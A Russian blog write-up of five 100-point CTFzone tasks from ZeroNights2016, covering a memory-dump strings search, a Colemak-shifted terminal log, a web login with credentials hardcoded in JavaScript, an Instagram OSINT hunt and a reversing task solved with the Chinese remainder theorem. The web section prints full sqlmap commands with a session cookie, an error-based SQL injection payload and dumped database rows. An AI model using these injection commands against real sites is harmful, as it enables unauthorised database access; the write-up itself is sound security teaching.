[ZeroNights2016] [CTFzone] Без 100 грамм не разберёшься

в 21:38, , рубрики: Bi.Zone, ctf, ctfzone, hacker, itsec, zeronights2016, zn2016, Занимательные задачки, информационная безопасность

[ZeroNights2016] [CTFzone] Без 100 грамм не разберёшься - 1

Продолжаем цикл статей, посвященный врайтапу по CTFzone, который проходил 17 и 18 ноября в рамках ZeroNights2016 под флагом Bi.Zone. В этот раз мы поговорим о заданиях, выполнение которых приносило по 100 очков в пользу реальных хакеров!

Предыдущие публикации из данного цикла

Отдельное спасибо GH0st3rs за предоставленные врайтапы некоторых заданий.

FORENSIC100 — Master of Strings

Rise and shine, Lieutenant, stop dreaming of drinking vodka and playing with the bear. A.U.R.O.R.A. is speaking and it’s time you stopped sleeping at your workplace. You can’t idle your time anymore as the whole world might go down the drain unless, well… Let's say it’s time you are back in the game. The right man in the wrong place can change the world. So wake up, Lieutenant, find a password for the Spaceship panel and join the forces on Earth!

К заданию прилагался 7z архив с файлом '.RAM' внутри. Логично, что необходимо анализировать слепок ОЗУ. Было принято решение смотреть в сторону 'Volatility'. Ещё раз (два/три) прочитав задание и пролистав Wiki по Volatility, можно было заметить раздел «Strings» и увидеть ссылку на SysInternals Strings. Разумеется, её мы и используем:

strings.exe task_forensic_100.ram > output

Получаем output на ~70МБ из строк UNICODE длиной более 3 символов (по-умолчанию). Открыв его текстовым редактором, я отправился на поиски флага, — «А вдруг?». Каково же было моё удивление:

[ZeroNights2016] [CTFzone] Без 100 грамм не разберёшься - 2

Как потом оказалось: мой вариант получения флага оказался не таким, каким его планировал «автор». Ну, что же, может быть так даже лучше.

MISC100 — Nerdy Mechanic

A.U.R.O.R.A.: Lieutenant, let me introduce you to Sergeant Varvara. She needs your help.
Sergeant Varvara: Lieutenant, this terminal is not working. I entered my request but there is some gibberish on the screen. Our air mechanic was the last to work on this terminal. Would you take a look?

Ниже нам предоставляют тот самый «кривой» вывод из терминала:

why
ir -iagp
irbie -t
cifap
iw;-pfqlfrg -sfm DFG gukjlpi.cym/dnwalwbw
pfrfg

Что же с этим делать? Давайте посмотрим внимательнее: конец пятой строки очень напоминает ссылку. Однако, нужно заменить: 'y' -> 'o'. Тогда и в первой строке 'why' превращается в 'who' — Ага! — очевидно, что это интерпретатор Bash. Может в этом задании и была некая логика подмены букв, однако набросав простенький скрипт в Python методом проб, решение пришло само собой:

print(text.replace('y','o').replace('j','y').replace('n','j').replace('k','n').replace('u','v').replace('l','u').replace('i','l').replace('r','s').replace('e','k').replace('f','e').replace('p','r').replace('g','t').replace('G','T').replace(';','p').replace('d','g').replace('D','G').replace('F','E').replace('v','i'))

В итоге получилось следующее:

who 
ls -latr 
lsblk -t 
clear 
lwp-request -sem GET tinyurl.com/gjwauwbw 
reset

Переходим по ссылке и видим флаг: ctfzone{182ac24a3b2dc86ba298f57d9c391c0b}

P.S. > Из источников стало известно, что оригинальный алгоритм замены букв в данном шифротексте — использование Colemak.

WEB100 — Search Engine

Lieutenant (You): A.U.R.O.R.A., I’m in the SNT-47 compartment, in the general-purpose room. Thermal signatures are missing. I need to find a way to connect to the ship communications and it’s urgent, what should I do?
A.U.R.O.R.A.: Welcome to the information retrieval system A.U.R.O.R.A. Please name your identification number.
You: What identification number?! Are you broken as well?? Let's see what you have inside if I don’t want to stay here forever...

К заданию прилагалась ссылка на сайт с формой авторизации:

[ZeroNights2016] [CTFzone] Без 100 грамм не разберёшься - 3

С чего начать? Правильно: с поиска по исходному коду страницы. Идём туда и наблюдаем:

<script src=/static/js/pewpew.js type="text/javascript"></script>

Открываем, смотрим:


    if ('s3cr3tuser' === $(ctrls[0]).find('input').val()
     && 'v3rySTr0ngP@ss' === $(ctrls[1]).find('input').val()) {

Невооруженным взглядом мы понимаем что к чему. Возвращаемся на форму авторизации и идём дальше. Перед нами открывается страница с единственной строкой поиска. «А не SQLi ли здесь часом?», — должно послышаться в голове. Идём проверять: бинго!

[ZeroNights2016] [CTFzone] Без 100 грамм не разберёшься - 4

Что же, расчехляем старый добрый SqlMap (конечно, можно и руками). Не забываем о том, что мы произвели авторизацию => нужно указать Cookies. В целях экономии местного пространства «вывод» не полный:

root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzZkhXekRTd09WSVlQR0oifQ.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --dbms=MySQL --tables

Вывод команды

Parameter: #1* (URI)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: http://78.155.219.6:80/search/param1'||(SELECT 'bGEm' FROM DUAL WHERE 8985=8985 AND (SELECT 1912 FROM(SELECT COUNT(*),CONCAT(0x7170716a71,(SELECT (ELT(1912=1912,1))),0x7176717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'
---
[18:30:29] [INFO] testing MySQL
[18:30:29] [INFO] confirming MySQL
[18:30:29] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[18:30:29] [INFO] fetching database names
[18:30:29] [INFO] the SQL query used returns 5 entries
[18:30:29] [INFO] resumed: information_schema
[18:30:29] [INFO] resumed: mysql
[18:30:29] [INFO] resumed: performance_schema
[18:30:29] [INFO] resumed: sqli_100
[18:30:29] [INFO] resumed: sys
[18:30:29] [INFO] fetching tables for databases: 'information_schema, mysql, performance_schema, sqli_100, sys'
[18:30:29] [INFO] the SQL query used returns 282 entries

root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzZkhXekRTd09WSVlQR0oifQ.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --dbms=MySQL -D "sqli_100" -T "wtf3thisiss3crettable_dont_read_dont_touch" --columns

Вывод команды

Database: sqli_100
Table: wtf3thisiss3crettable_dont_read_dont_touch
[2 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| id | int(5) |
| secret | varchar(500) |
+--------+--------------+

root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzZkhXekRTd09WSVlQR0oifQ.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --dbms=MySQL -D "sqli_100" -T "wtf3thisiss3crettable_dont_read_dont_touch" -C "secret" --dump

Вывод команды

Database: sqli_100
Table: wtf3thisiss3crettable_dont_read_dont_touch
[13 entries]
+-----------------------------------------+
| secret |
+-----------------------------------------+
| 089b1d5d37c22d81b55b6f77c9e2b042 |
| asdkkjhjsdaojewifdiowuefdw0 |
| asdkkjhjsdaojewifdiowuefdw0 |
| dskjhwjkfhsjdkfhsjdkhfjk |
| dskjhwjkfhsjdkfhsjdkhfjk |
| dskjhwjkfhsjdkfhsjdkhfjk |
| dskjhwjkfhsjdkfhsjdkhfjk |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| REMEMBER_FLAG_FORMAT.FLAG_IN_THIS_TABLE |
| REMEMBER_FLAG_FORMAT.FLAG_IN_THIS_TABLE |
+-----------------------------------------+

Нас просят не забывать формат флага, ведь он в этой таблице. А вот и он:

ctfzone{089b1d5d37c22d81b55b6f77c9e2b042}

OSINT100 — Weird Guy

A.U.R.O.R.A.: Lieutenant, our agents sneaked in Cosmos hotel and witnessed the preparations for ZERONIGHTS 2016. Everyone was busy installing their stands and making photos. There was a weird guy in the hall who was absorbed in reading something on his laptop. We couldn’t figure out who was this guy but we need to know what he was looking at the screen. This photo might help you.

К заданию прилагалась фотография:

[ZeroNights2016] [CTFzone] Без 100 грамм не разберёшься - 5

На фото мы можем наблюдать как селфятся один человек фотографирует другого, а также заметить, что требуемый экран попадает в область фотографии. Задача ясна: необходимо найти фото с правильного ракурса. Учитывая, что данный CTF носит интернациональный характер задаёмся вопросом: «Какой сайт нам нужен?». Правильно — Instagram. Далее, эта задача имела бы два решения:

  • Осознавая, что фотосъемка происходила в рамках ZeroNights2016 на территории ГК «Космос» — использовать поиск по ГеоТегам. К сожалению, данный момент отказался работать, по причине неопределённых изменений в Instagram API;
  • Методом проб и ошибок перебирать все #хештеги, каким-то образом связанные с CTF, Bi.Zone или ZeroNights в целом.

Спустя некоторое время (используя второй способ) искомый хештег был найден: #zn2016. А вот и искомая фотография:

[ZeroNights2016] [CTFzone] Без 100 грамм не разберёшься - 6

Флаг: ctfzone{Os1nT_G4nGsT3r}

REVERSE100 — The Doors Of Dorun

**A.U.R.O.R.A.: ** Lieutenant, your co-pilot was abducted by aliens and put into prison. They are out hunting now and it’s your chance to set him free! He is held behind the Doors, the jambs invisible to the eye, and matched so perfectly with the metal bulkhead that when closed the Doors could not be seen.
The inscription on the archivolt read:
«The Doors of Dorun, Lord of Omega. Speak, friend, and enter. I, Norvy, made them. Calabrimbor of Alpha Centauri drew these signs».
But be careful and hurry up. They can be back any moment.

К заданию прилагался файл, при запуске которого появлялось окно с полем для ввода пароля. Если пароль неверен, то следовала ошибка:

[ZeroNights2016] [CTFzone] Без 100 грамм не разберёшься - 7

Ну-с, хорошо, вывернем наизнанку! Дизассемблируем и вновь видим, уже знакомую нам из прошлого задания (REVERSE50), функцию: DialogFunc, по смещению: 13F7C1040. Смотрим далее и находим:

[ZeroNights2016] [CTFzone] Без 100 грамм не разберёшься - 8

На данном участке кода происходит получение введённого пароля, а затем передача его в функцию (назовём её: PassVerify), и в случае неверного результата:

jz short loc_13F7C1126

переносит нас на участок кода, сигнализирующий об ошибке:

[ZeroNights2016] [CTFzone] Без 100 грамм не разберёшься - 9

Перейдем в функцию: PassVerify и посмотрим, что же там происходит. Видим проверку длины, введённой нами фразы – 4 символа.

[ZeroNights2016] [CTFzone] Без 100 грамм не разберёшься - 10

Затем, пароль разбивается на 2 части по 2 символа:

[ZeroNights2016] [CTFzone] Без 100 грамм не разберёшься - 11

Далее начинается заполнение стека значениями для сверки. И, начиная с адреса: 13F7C1330, начинается сама проверка введённого пароля:

[ZeroNights2016] [CTFzone] Без 100 грамм не разберёшься - 12

Воспользуемся плагином HexRays и получим вот такой код:

[ZeroNights2016] [CTFzone] Без 100 грамм не разберёшься - 13

Итак, что мы имеем? В «v3» находится первая часть пароля, а в «v5» — вторая. Если преобразовать данный цикл, то получится вот такое условие (Python):

v8 = [0, 0, 1, 241, 995, 0, 1, 4, 6, 104, 413, 0]
if (v3%3==v8[0] and v3%5==v8[1] and v3%17==v8[2] and v3%257==v8[3] and v3%65537==v8[4]) or (v5%3==v8[6] and v5%5==v8[7] and v5%17==v8[8] and v5%257==v8[9] and v5%65537==v8[10])

Вариант решения данного уравнения каждый выбирал для себя. Однако, мы не ищем лёгких путей и воспользуемся китайской теоремой об остатках (скрипт которой остался ещё с NeoQuest2016):

Китайская теорема об остатках. Реализация: Python

def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)
 
    for n_i, a_i in zip(n, a):
        p = prod / n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod
 
 
def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a / b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1

Используем:

hex(chinese_remainder([3,5,17,257,65537],[v8[0],v8[1],v8[2],v8[3],v8[4]]))

Вывод: 0xa028a40b

Используем:

hex(chinese_remainder([3,5,17,257,65537],[v8[6],v8[7],v8[8],v8[9],v8[10]]))

Вывод: 0xa288a425

Мы получили коды символов. Следующим шагом будет посещение данного сайта и поиск соответствующих символов по известным HEX значениям. Получаем: ꐋꀨꐥꊈ. Пробуем данный пароль — Profit!

[ZeroNights2016] [CTFzone] Без 100 грамм не разберёшься - 14

  Мы будем продолжать данный цикл статей, где рассмотрим решения остальных заданий CTFzone 2016.
  Оставайтесь с нами!

Автор: hackzard

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js